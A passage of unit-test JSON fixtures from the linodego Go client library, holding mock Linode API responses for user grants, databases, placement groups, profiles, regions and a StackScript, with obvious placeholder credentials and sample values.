"example-entity", "permissions": "read_only" } ], "firewall": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "global": { "account_access": "read_only", "add_databases": true, "add_domains": true, "add_firewalls": true, "add_images": true, "add_linodes": true, "add_longview": true, "add_nodebalancers": true, "add_placement_groups": true, "add_stackscripts": true, "add_volumes": true, "add_vpcs": true, "cancel_account": false, "child_account_access": true, "longview_subscription": true }, "image": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "linode": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "longview": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "nodebalancer": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "placement_group": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "stackscript": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "volume": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "vpc": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ] }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_user_grants_update.json000066400000000000000000000032761474652371000315350ustar00rootroot00000000000000{ "database": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "domain": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "firewall": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "global": { "account_access": "read_write", "add_databases": true, "add_domains": true, "add_firewalls": true, "add_images": true, "add_linodes": true, "add_longview": true, "add_nodebalancers": true, "add_placement_groups": true, "add_stackscripts": true, "add_volumes": true, "add_vpcs": true, "cancel_account": false, "child_account_access": true, "longview_subscription": true }, "image": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "linode": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "longview": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "nodebalancer": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "placement_group": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "stackscript": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "volume": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "vpc": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ] }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_users_create.json000066400000000000000000000005321474652371000303130ustar00rootroot00000000000000{ "email": "example_user@linode.com", "last_login": { "login_datetime": "2018-01-01T01:01:01", "status": "successful" }, "password_created": "2018-01-01T01:01:01", "restricted": true, "ssh_keys": [ "home-pc", "laptop" ], "tfa_enabled": true, "username": "example_user", "verified_phone_number": "+5555555555" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_users_get.json000066400000000000000000000005471474652371000276350ustar00rootroot00000000000000{ "email": "jperez@linode.com", "last_login": { "login_datetime": "2018-01-01T01:01:01", "status": "successful" }, "password_created": "2018-01-01T01:01:01", "restricted": true, "ssh_keys": [ "home-pc", "laptop" ], "tfa_enabled": true, "user_type": "parent", "username": "jsmith", "verified_phone_number": "+5555555555" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_users_list.json000066400000000000000000000007521474652371000300270ustar00rootroot00000000000000{ "data": [ { "email": "jperez@linode.com", "last_login": { "login_datetime": "2018-01-01T01:01:01", "status": "successful" }, "password_created": "2018-01-01T01:01:01", "restricted": true, "ssh_keys": [ "home-pc", "laptop" ], "tfa_enabled": true, "user_type": "parent", "username": "jsmith", "verified_phone_number": "+5555555555" } ], "page": 1, "pages": 1, "results": 1 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_users_update.json000066400000000000000000000005511474652371000303330ustar00rootroot00000000000000{ "email": "jkowalski@linode.com", "last_login": { "login_datetime": "2018-01-01T01:01:01", "status": "successful" }, "password_created": "2018-01-01T01:01:01", "restricted": true, "ssh_keys": [ "home-pc", "laptop" ], "tfa_enabled": true, "user_type": "parent", "username": "adevi", "verified_phone_number": "+5555555555" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/database_engine_get.json000066400000000000000000000001571474652371000300460ustar00rootroot00000000000000{ "id": "mysql-8", "engine": "mysql", "version": "8.0", "supported_versions": ["5.7", "8.0"] } golang-github-linode-linodego-1.47.0/test/unit/fixtures/database_maintenance_window.json000066400000000000000000000001371474652371000316110ustar00rootroot00000000000000{ "day_of_week": 1, "duration": 2, "frequency": "weekly", "hour_of_day": 3 } golang-github-linode-linodego-1.47.0/test/unit/fixtures/database_types_list.json000066400000000000000000000005651474652371000301440ustar00rootroot00000000000000{ "data": [ { "id": "g6-standard-1", "label": "Standard Plan", "memory": 4096, "vcpus": 2, "disk": 80 }, { "id": "g6-standard-2", "label": "High Performance Plan", "memory": 8192, "vcpus": 4, "disk": 160 } ], "page": 1, "pages": 1, "results": 2 } golang-github-linode-linodego-1.47.0/test/unit/fixtures/database_unmarshal.json000066400000000000000000000004051474652371000277300ustar00rootroot00000000000000{ "id": 123, "status": "active", "label": "test-db", "region": "us-east", "type": "g6-standard-1", "engine": "mysql", "version": "8.0", "cluster_size": 3, "platform": "rdbms-default", "created": "2023-01-01T12:00:00" } golang-github-linode-linodego-1.47.0/test/unit/fixtures/databases_list.json000066400000000000000000000006001474652371000270710ustar00rootroot00000000000000{ "data": [ { "id": 123, "status": "active", "label": "test-db", "region": "us-east", "type": "g6-standard-1", "engine": "mysql", "version": "8.0", "cluster_size": 3, "platform": "rdbms-default", "created": "2023-01-01T12:00:00" } ], "page": 1, "pages": 1, "results": 1 } golang-github-linode-linodego-1.47.0/test/unit/fixtures/domain_clone.json000066400000000000000000000005171474652371000265450ustar00rootroot00000000000000{ "axfr_ips": [], "description": null, "domain": "linodego-domain-clone.com", "expire_sec": 300, "id": 1234, "master_ips": [], "refresh_sec": 300, "retry_sec": 300, "soa_email": "admin@example.org", "status": "active", "tags": [ "example tag", "another example" ], "ttl_sec": 300, "type": "master" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/domain_import.json000066400000000000000000000005011474652371000267500ustar00rootroot00000000000000{ "axfr_ips": [], "description": null, "domain": "example.org", "expire_sec": 300, "id": 1234, "master_ips": [], "refresh_sec": 300, "retry_sec": 300, "soa_email": "admin@example.org", "status": "active", "tags": [ "example tag", "another example" ], "ttl_sec": 300, "type": "master" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/image_replicate.json000066400000000000000000000011321474652371000272220ustar00rootroot00000000000000{ "capabilities": [ "cloud-init", "distributed-sites" ], "created": "2021-08-14T22:44:02", "created_by": "linode", "deprecated": false, "description": "Example image description.", "eol": "2026-07-01T04:00:00", "expiry": null, "id": "linode/debian11", "is_public": true, "label": "Debian 11", "regions": [ { "region": "us-iad", "status": "available" } ], "size": 2500, "status": "available", "tags": [ "repair-image", "fix-1" ], "total_size": 1234567, "type": "manual", "updated": "2021-08-14T22:44:02", "vendor": "Debian" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/instance_disks_clone.json000066400000000000000000000002611474652371000302730ustar00rootroot00000000000000{ "created": "2018-01-01T00:01:01", "filesystem": "ext4", "id": 123, "label": "Debian 9 Disk", "size": 48640, "status": "ready", "updated": "2018-01-01T00:01:01" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/instance_monthly_transfer_get.json000066400000000000000000000001271474652371000322340ustar00rootroot00000000000000{ "bytes_in": 30471077120, "bytes_out": 22956600198, "bytes_total": 53427677318 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/instance_nodebalancers_list.json000066400000000000000000000010771474652371000316370ustar00rootroot00000000000000{ "data": [ { "client_conn_throttle": 0, "created": "2018-01-01T00:01:01", "hostname": "192.0.2.1.ip.linodeusercontent.com", "id": 12345, "ipv4": "203.0.113.1", "ipv6": null, "label": "balancer12345", "region": "us-east", "tags": [ "example tag", "another example" ], "transfer": { "in": 28.91200828552246, "out": 3.5487728118896484, "total": 32.46078109741211 }, "updated": "2018-03-01T00:01:01" } ], "page": 1, "pages": 1, "results": 1 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/instance_stats_get.json000066400000000000000000000013671474652371000300030ustar00rootroot00000000000000{ "title": "linode.com - my-linode (linode123456) - day (5 min avg)", "data": { "cpu": [ [1521483600000, 0.42] ], "io": { "io": [ [1521484800000, 0.19] ], "swap": [ [1521484800000, 0] ] }, "netv4": { "in": [ [1521484800000, 2004.36] ], "out": [ [1521484800000, 3928.91] ], "private_in": [ [1521484800000, 0] ], "private_out": [ [1521484800000, 5.6] ] }, "netv6": { "in": [ [1521484800000, 0] ], "out": [ [1521484800000, 0] ], "private_in": [ [1521484800000, 195.18] ], "private_out": [ [1521484800000, 5.6] ] } } } golang-github-linode-linodego-1.47.0/test/unit/fixtures/linode_type_get.json000066400000000000000000000007641474652371000272740ustar00rootroot00000000000000{ "id": "g6-standard-2", "disk": 4000, "class": "standard", "price": { "hourly": 0.015, "monthly": 10 }, "label": "Linode 2GB", "addons": { "backups": { "price": { "hourly": 0.003, "monthly": 2 }, "region_prices": [] } }, "region_prices": [], "network_out": 2000, "memory": 4000, "transfer": 500, "vcpus": 2, "gpus": 0, "successor": null } golang-github-linode-linodego-1.47.0/test/unit/fixtures/linode_types_list.json000066400000000000000000000015701474652371000276470ustar00rootroot00000000000000{ "data": [ { "id": "g6-nanode-1", "disk": 25600, "class": "nanode", "price": { "hourly": 0.0075, "monthly": 5 }, "label": "Nanode 1GB", "addons": null, "region_prices": [], "network_out": 1000, "memory": 1024, "transfer": 250, "vcpus": 1, "gpus": 0, "successor": null }, { "id": "g6-standard-2", "disk": 51200, "class": "standard", "price": { "hourly": 0.015, "monthly": 10 }, "label": "Linode 2GB", "addons": null, "region_prices": [], "network_out": 2000, "memory": 2048, "transfer": 500, "vcpus": 2, "gpus": 0, "successor": null } ], "page": 1, "pages": 1, "results": 2 } golang-github-linode-linodego-1.47.0/test/unit/fixtures/linodes_list.json000066400000000000000000000025371474652371000266120ustar00rootroot00000000000000{ "data": [ { "alerts": { "cpu": 180, "io": 10000, "network_in": 10, "network_out": 10, "transfer_quota": 80 }, "backups": { "available": true, "enabled": true, "last_successful": "2018-01-01T00:01:01", "schedule": { "day": "Saturday", "window": "W22" } }, "created": "2018-01-01T00:01:01", "has_user_data": true, "host_uuid": "3a3ddd59d9a78bb8de041391075df44de62bfec8", "hypervisor": "kvm", "id": 123, "image": "linode/debian10", "ipv4": [ "203.0.113.1", "192.0.2.1" ], "ipv6": "c001:d00d::1337/128", "label": "linode123", "placement_group": { "id": 528, "label": "PG_Miami_failover", "migrating_to": "2468", "placement_group_policy": "strict", "placement_group_type": "anti-affinity:local" }, "region": "us-east", "specs": { "disk": 81920, "gpus": 0, "memory": 4096, "transfer": 4000, "vcpus": 2 }, "status": "running", "tags": [ "example tag", "another example" ], "type": "g6-standard-1", "updated": "2018-01-01T00:01:01", "watchdog_enabled": true } ], "page": 1, "pages": 1, "results": 1 } golang-github-linode-linodego-1.47.0/test/unit/fixtures/lke_node_pool_node_get.json000066400000000000000000000001071474652371000305660ustar00rootroot00000000000000{ "id": "12345-abcde", "instance_id": 123456, "status": "ready" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/mysql_database_create.json000066400000000000000000000017151474652371000304330ustar00rootroot00000000000000{ "allow_list": [ "203.0.113.1/32", "192.0.1.0/24" ], "cluster_size": 3, "created": "2022-01-01T00:01:01", "encrypted": true, "engine": "mysql", "fork": { "restore_time": "2024-10-14T19:55:12", "source": 176881 }, "hosts": { "primary": "lin-123-456-mysql-mysql-primary.servers.linodedb.net", "secondary": "lin-123-456-mysql-primary-private.servers.linodedb.net" }, "id": 123, "label": "example-db-created", "members": { "45.56.110.70": "primary", "45.79.159.239": "failover" }, "oldest_restore_time": "2024-10-03T20:48:05", "platform": "rdbms-default", "port": 3306, "region": "us-east", "ssl_connection": true, "status": "active", "total_disk_size_gb": 15, "type": "g6-dedicated-2", "updated": "2022-01-01T00:01:01", "updates": { "day_of_week": 1, "duration": 3, "frequency": "weekly", "hour_of_day": 0, "pending": [] }, "used_disk_size_gb": 2, "version": "8.0.26" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/mysql_database_credentials_get.json000066400000000000000000000000731474652371000323200ustar00rootroot00000000000000{ "password": "s3cur3P@ssw0rd", "username": "linroot" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/mysql_database_get.json000066400000000000000000000017051474652371000277460ustar00rootroot00000000000000{ "allow_list": [ "203.0.113.1/32", "192.0.1.0/24" ], "cluster_size": 3, "created": "2022-01-01T00:01:01", "encrypted": true, "engine": "mysql", "fork": { "restore_time": "2024-10-14T19:55:12", "source": 176881 }, "hosts": { "primary": "lin-123-456-mysql-mysql-primary.servers.linodedb.net", "secondary": "lin-123-456-mysql-primary-private.servers.linodedb.net" }, "id": 123, "label": "example-db", "members": { "45.56.110.70": "primary", "45.79.159.239": "failover" }, "oldest_restore_time": "2024-10-03T20:48:05", "platform": "rdbms-default", "port": 3306, "region": "us-east", "ssl_connection": true, "status": "active", "total_disk_size_gb": 15, "type": "g6-dedicated-2", "updated": "2022-01-01T00:01:01", "updates": { "day_of_week": 1, "duration": 3, "frequency": "weekly", "hour_of_day": 0, "pending": [] }, "used_disk_size_gb": 2, "version": "8.0.26" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/mysql_database_ssl_get.json000066400000000000000000000002061474652371000306220ustar00rootroot00000000000000{ "ca_certificate": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tClRoaXMgaXMgYSB0ZXN0IGNlcnRpZmljYXRlCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/mysql_database_update.json000066400000000000000000000017151474652371000304520ustar00rootroot00000000000000{ "allow_list": [ "203.0.113.1/32", "192.0.1.0/24" ], "cluster_size": 3, "created": "2022-01-01T00:01:01", "encrypted": true, "engine": "mysql", "fork": { "restore_time": "2024-10-14T19:55:12", "source": 176881 }, "hosts": { "primary": "lin-123-456-mysql-mysql-primary.servers.linodedb.net", "secondary": "lin-123-456-mysql-primary-private.servers.linodedb.net" }, "id": 123, "label": "example-db-updated", "members": { "45.56.110.70": "primary", "45.79.159.239": "failover" }, "oldest_restore_time": "2024-10-03T20:48:05", "platform": "rdbms-default", "port": 3306, "region": "us-east", "ssl_connection": true, "status": "active", "total_disk_size_gb": 15, "type": "g6-dedicated-2", "updated": "2022-01-01T00:01:01", "updates": { "day_of_week": 1, "duration": 3, "frequency": "weekly", "hour_of_day": 0, "pending": [] }, "used_disk_size_gb": 2, "version": "8.0.26" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/mysql_databases_list.json000066400000000000000000000023221474652371000303210ustar00rootroot00000000000000{ "data": [ { "allow_list": [ "192.0.2.101/24", "192.0.2.29/24" ], "cluster_size": 3, "created": "2022-01-01T00:01:01", "encrypted": true, "engine": "mysql", "fork": { "restore_time": "2024-10-14T19:55:12", "source": 176881 }, "hosts": { "primary": "lin-123-456-mysql-mysql-primary.servers.linodedb.net", "secondary": "lin-123-456-mysql-primary-private.servers.linodedb.net" }, "id": 123, "label": "example-db", "members": { "45.56.110.70": "primary", "45.79.159.239": "failover", "69.164.209.80": "failover" }, "oldest_restore_time": "2024-10-03T20:48:05", "platform": "rdbms-default", "port": 3306, "region": "us-east", "ssl_connection": true, "status": "active", "total_disk_size_gb": 15, "type": "g6-dedicated-2", "updated": "2022-01-01T00:01:01", "updates": { "day_of_week": 1, "duration": 3, "frequency": "weekly", "hour_of_day": 0, "pending": [] }, "used_disk_size_gb": 2, "version": "8.0.26" } ], "page": 1, "pages": 1, "results": 1 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/object_storage_buckets_object_list.json000066400000000000000000000004261474652371000332100ustar00rootroot00000000000000{ "data": [ { "name": "example", "size": 123, "last_modified": "2018-01-02T03:04:05.757Z", "etag": "9f254c71e28e033bf9e0e5262e3e72ab", "owner": "bfc70ab2-e3d4-42a4-ad55-83921822270c" } ], "next_marker": null, "is_truncated": false }golang-github-linode-linodego-1.47.0/test/unit/fixtures/placement_group_assign.json000066400000000000000000000005071474652371000306450ustar00rootroot00000000000000{ "id": 528, "is_compliant": true, "label": "PG_Miami_failover", "members": [ { "is_compliant": true, "linode_id": 123 }, { "is_compliant": true, "linode_id": 456 } ], "placement_group_policy": "strict", "placement_group_type": "anti-affinity:local", "region": "us-mia" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/placement_group_create.json000066400000000000000000000004071474652371000306230ustar00rootroot00000000000000{ "id": 528, "is_compliant": true, "label": "PG_Miami_failover", "members": [ { "is_compliant": true, "linode_id": 123 } ], "placement_group_policy": "strict", "placement_group_type": "anti-affinity:local", "region": "us-mia" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/placement_group_unassign.json000066400000000000000000000004071474652371000312070ustar00rootroot00000000000000{ "id": 528, "is_compliant": true, "label": "PG_Miami_failover", "members": [ { "is_compliant": true, "linode_id": 123 } ], "placement_group_policy": "strict", "placement_group_type": "anti-affinity:local", "region": "us-mia" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/placement_group_update.json000066400000000000000000000004131474652371000306370ustar00rootroot00000000000000{ "id": 528, "is_compliant": true, "label": "PG_Miami_failover_new", "members": [ { "is_compliant": true, "linode_id": 123 } ], "placement_group_policy": "strict", "placement_group_type": "anti-affinity:local", "region": "us-mia" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/placement_groups_get.json000066400000000000000000000006401474652371000303210ustar00rootroot00000000000000{ "id": 528, "is_compliant": true, "label": "PG_Miami_failover", "members": [ { "is_compliant": true, "linode_id": 123 } ], "migrations": { "inbound": [ { "linode_id": 123 } ], "outbound": [ { "linode_id": 456 } ] }, "placement_group_policy": "strict", "placement_group_type": "anti-affinity:local", "region": "us-mia" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/placement_groups_list.json000066400000000000000000000011071474652371000305140ustar00rootroot00000000000000{ "data": [ { "id": 528, "is_compliant": true, "label": "PG_Miami_failover", "members": [ { "is_compliant": true, "linode_id": 123 } ], "migrations": { "inbound": [ { "linode_id": 123 } ], "outbound": [ { "linode_id": 456 } ] }, "placement_group_policy": "strict", "placement_group_type": "anti-affinity:local", "region": "us-mia" } ], "page": 1, "pages": 1, "results": 1 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/postgresql_database_create.json000066400000000000000000000016341474652371000314710ustar00rootroot00000000000000{ "allow_list": [ "203.0.113.1/32", "192.0.1.0/24" ], "cluster_size": 3, "created": "2022-01-01T00:01:01", "encrypted": true, "engine": "postgresql", "fork": { "restore_time": "2024-10-14T19:55:12", "source": 176881 }, "hosts": { "primary": "lin-0000-000-pgsql-primary.servers.linodedb.net", "secondary": "lin-0000-000-pgsql-primary-private.servers.linodedb.net" }, "id": 123, "label": "example-db-created", "members": { "45.56.110.70": "primary", "45.79.159.239": "failover" }, "platform": "rdbms-default", "port": 3306, "region": "us-east", "ssl_connection": true, "status": "active", "total_disk_size_gb": 15, "type": "g6-dedicated-2", "updated": "2022-01-01T00:01:01", "updates": { "day_of_week": 1, "duration": 3, "frequency": "weekly", "hour_of_day": 0, "pending": [] }, "used_disk_size_gb": 2, "version": "13.2" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/postgresql_database_credentials_get.json000066400000000000000000000000731474652371000333560ustar00rootroot00000000000000{ "password": "s3cur3P@ssw0rd", "username": "linroot" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/postgresql_database_get.json000066400000000000000000000016241474652371000310040ustar00rootroot00000000000000{ "allow_list": [ "203.0.113.1/32", "192.0.1.0/24" ], "cluster_size": 3, "created": "2022-01-01T00:01:01", "encrypted": true, "engine": "postgresql", "fork": { "restore_time": "2024-10-14T19:55:12", "source": 176881 }, "hosts": { "primary": "lin-0000-000-pgsql-primary.servers.linodedb.net", "secondary": "lin-0000-000-pgsql-primary-private.servers.linodedb.net" }, "id": 123, "label": "example-db", "members": { "45.56.110.70": "primary", "45.79.159.239": "failover" }, "platform": "rdbms-default", "port": 3306, "region": "us-east", "ssl_connection": true, "status": "active", "total_disk_size_gb": 15, "type": "g6-dedicated-2", "updated": "2022-01-01T00:01:01", "updates": { "day_of_week": 1, "duration": 3, "frequency": "weekly", "hour_of_day": 0, "pending": [] }, "used_disk_size_gb": 2, "version": "13.2" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/postgresql_database_ssl_get.json000066400000000000000000000002061474652371000316600ustar00rootroot00000000000000{ "ca_certificate": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tClRoaXMgaXMgYSB0ZXN0IGNlcnRpZmljYXRlCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/postgresql_database_update.json000066400000000000000000000016341474652371000315100ustar00rootroot00000000000000{ "allow_list": [ "203.0.113.1/32", "192.0.1.0/24" ], "cluster_size": 3, "created": "2022-01-01T00:01:01", "encrypted": true, "engine": "postgresql", "fork": { "restore_time": "2024-10-14T19:55:12", "source": 176881 }, "hosts": { "primary": "lin-0000-000-pgsql-primary.servers.linodedb.net", "secondary": "lin-0000-000-pgsql-primary-private.servers.linodedb.net" }, "id": 123, "label": "example-db-updated", "members": { "45.56.110.70": "primary", "45.79.159.239": "failover" }, "platform": "rdbms-default", "port": 3306, "region": "us-east", "ssl_connection": true, "status": "active", "total_disk_size_gb": 15, "type": "g6-dedicated-2", "updated": "2022-01-01T00:01:01", "updates": { "day_of_week": 1, "duration": 3, "frequency": "weekly", "hour_of_day": 0, "pending": [] }, "used_disk_size_gb": 2, "version": "13.2" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/postgresql_databases_list.json000066400000000000000000000021671474652371000313660ustar00rootroot00000000000000{ "data": [ { "allow_list": [ "203.0.113.1/32", "192.0.1.0/24" ], "cluster_size": 3, "created": "2022-01-01T00:01:01", "encrypted": true, "engine": "postgresql", "fork": { "restore_time": "2024-10-14T19:55:12", "source": 176881 }, "hosts": { "primary": "lin-0000-000-pgsql-primary.servers.linodedb.net", "secondary": "lin-0000-000-pgsql-primary-private.servers.linodedb.net" }, "id": 123, "label": "example-db", "members": { "45.56.110.70": "primary", "45.79.159.239": "failover" }, "platform": "rdbms-default", "port": 3306, "region": "us-east", "ssl_connection": true, "status": "active", "total_disk_size_gb": 15, "type": "g6-dedicated-2", "updated": "2022-01-01T00:01:01", "updates": { "day_of_week": 1, "duration": 3, "frequency": "weekly", "hour_of_day": 0, "pending": [] }, "used_disk_size_gb": 2, "version": "13.2" } ], "page": 1, "pages": 1, "results": 1 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/profile_apps_get.json000066400000000000000000000003061474652371000274340ustar00rootroot00000000000000{ "created": "2018-01-01T00:01:01", "expiry": "2018-01-15T00:01:01", "id": 123, "label": "example-app", "scopes": "linodes:read_only", "thumbnail_url": null, "website": "example.org" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/profile_apps_list.json000066400000000000000000000004511474652371000276310ustar00rootroot00000000000000{ "data": [ { "created": "2018-01-01T00:01:01", "expiry": "2018-01-15T00:01:01", "id": 123, "label": "example-app", "scopes": "linodes:read_only", "thumbnail_url": null, "website": "example.org" } ], "page": 1, "pages": 1, "results": 1 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/profile_devices_get.json000066400000000000000000000005121474652371000301120ustar00rootroot00000000000000{ "created": "2018-01-01T01:01:01", "expiry": "2018-01-31T01:01:01", "id": 123, "last_authenticated": "2018-01-05T12:57:12", "last_remote_addr": "203.0.113.1", "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 Vivaldi/2.1.1337.36" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/profile_devices_list.json000066400000000000000000000006511474652371000303120ustar00rootroot00000000000000{ "data": [ { "created": "2018-01-01T01:01:01", "expiry": "2018-01-31T01:01:01", "id": 123, "last_authenticated": "2018-01-05T12:57:12", "last_remote_addr": "203.0.113.1", "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 Vivaldi/2.1.1337.36" } ], "page": 1, "pages": 1, "results": 1 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/profile_get.json000066400000000000000000000010621474652371000264110ustar00rootroot00000000000000{ "authentication_type": "password", "authorized_keys": null, "email": "example-user@gmail.com", "email_notifications": true, "lish_auth_method": "keys_only", "referrals": { "code": "871be32f49c1411b14f29f618aaf0c14637fb8d3", "completed": 0, "credit": 0, "pending": 0, "total": 0, "url": "https://www.linode.com/?r=871be32f49c1411b14f29f618aaf0c14637fb8d3" }, "restricted": false, "timezone": "US/Eastern", "two_factor_auth": true, "uid": 1234, "username": "exampleUser", "verified_phone_number": "+5555555555" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/profile_grants_list.json000066400000000000000000000032751474652371000301730ustar00rootroot00000000000000{ "database": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "domain": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "firewall": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "global": { "account_access": "read_only", "add_databases": true, "add_domains": true, "add_firewalls": true, "add_images": true, "add_linodes": true, "add_longview": true, "add_nodebalancers": true, "add_placement_groups": true, "add_stackscripts": true, "add_volumes": true, "add_vpcs": true, "cancel_account": false, "child_account_access": true, "longview_subscription": true }, "image": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "linode": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "longview": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "nodebalancer": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "placement_group": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "stackscript": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "volume": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "vpc": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ] }golang-github-linode-linodego-1.47.0/test/unit/fixtures/profile_preferences_get.json000066400000000000000000000000521474652371000307700ustar00rootroot00000000000000{ "key1": "value1", "key2": "value2" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/profile_preferences_update.json000066400000000000000000000000621474652371000314740ustar00rootroot00000000000000{ "key1": "value1_new", "key2": "value2_new" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/profile_security_question_answer.json000066400000000000000000000002371474652371000330120ustar00rootroot00000000000000{ "security_questions": [ { "question_id": 1, "response": "Gotham City", "security_question": "In what city were you born?" } ] }golang-github-linode-linodego-1.47.0/test/unit/fixtures/profile_security_question_list.json000066400000000000000000000002151474652371000324620ustar00rootroot00000000000000{ "security_questions": [ { "id": 1, "question": "In what city were you born?", "response": "Gotham City" } ] }golang-github-linode-linodego-1.47.0/test/unit/fixtures/profile_two_factor_enable.json000066400000000000000000000000541474652371000313070ustar00rootroot00000000000000{ "scratch": "reallycoolandlegittfacode" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/profile_two_factor_secret_create.json000066400000000000000000000001051474652371000326660ustar00rootroot00000000000000{ "expiry": "2018-03-01T00:01:01", "secret": "5FXX6KLACOC33GTC" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/profile_update.json000066400000000000000000000010661474652371000271200ustar00rootroot00000000000000{ "authentication_type": "password", "authorized_keys": null, "email": "example-user-new@gmail.com", "email_notifications": true, "lish_auth_method": "keys_only", "referrals": { "code": "871be32f49c1411b14f29f618aaf0c14637fb8d3", "completed": 0, "credit": 0, "pending": 0, "total": 0, "url": "https://www.linode.com/?r=871be32f49c1411b14f29f618aaf0c14637fb8d3" }, "restricted": false, "timezone": "US/Eastern", "two_factor_auth": true, "uid": 1234, "username": "exampleUser", "verified_phone_number": "+5555555555" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/region_availability_get.json000066400000000000000000000001071474652371000307650ustar00rootroot00000000000000{ "region": "us-east", "available": true, "plan": "Linode 2GB" } golang-github-linode-linodego-1.47.0/test/unit/fixtures/region_get.json000066400000000000000000000006101474652371000262320ustar00rootroot00000000000000{ "id": "us-east", "country": "US", "capabilities": ["Linodes", "Block Storage", "Object Storage"], "status": "ok", "label": "Newark, NJ", "site_type": "standard", "resolvers": { "ipv4": "8.8.8.8", "ipv6": "2001:4860:4860::8888" }, "placement_group_limits": { "maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": 10 } } golang-github-linode-linodego-1.47.0/test/unit/fixtures/regions_availability_list.json000066400000000000000000000002621474652371000313460ustar00rootroot00000000000000{ "data": [ { "region": "us-east", "available": true, "plan": "Linode 2GB" } ], "page": 1, "pages": 1, "results": 1 } golang-github-linode-linodego-1.47.0/test/unit/fixtures/regions_list.json000066400000000000000000000011251474652371000266130ustar00rootroot00000000000000{ "data": [ { "id": "us-east", "country": "US", "capabilities": ["Linodes", "Block Storage", "Object Storage"], "status": "ok", "label": "US East", "site_type": "standard", "resolvers": { "ipv4": "8.8.8.8", "ipv6": "2001:4860:4860::8888" }, "placement_group_limits": { "maximum_pgs_per_customer": 10, "maximum_linodes_per_pg": 5 } } ], "page": 1, "pages": 1, "results": 1 } golang-github-linode-linodego-1.47.0/test/unit/fixtures/stackscript_get.json000066400000000000000000000007261474652371000273110ustar00rootroot00000000000000{ "id": 123, "username": "testuser", "label": "new-stackscript", "description": "Test Description", "ordinal": 1, "logo_url": "https://example.com/logo.png", "images": ["linode/ubuntu20.04"], "deployments_total": 10, "deployments_active": 5, "is_public": true, "mine": true, "rev_note": "Initial revision", "script": "#!/bin/bash\necho Hello", "user_defined_fields": [], "user_gravatar_id": "abcdef123456" } 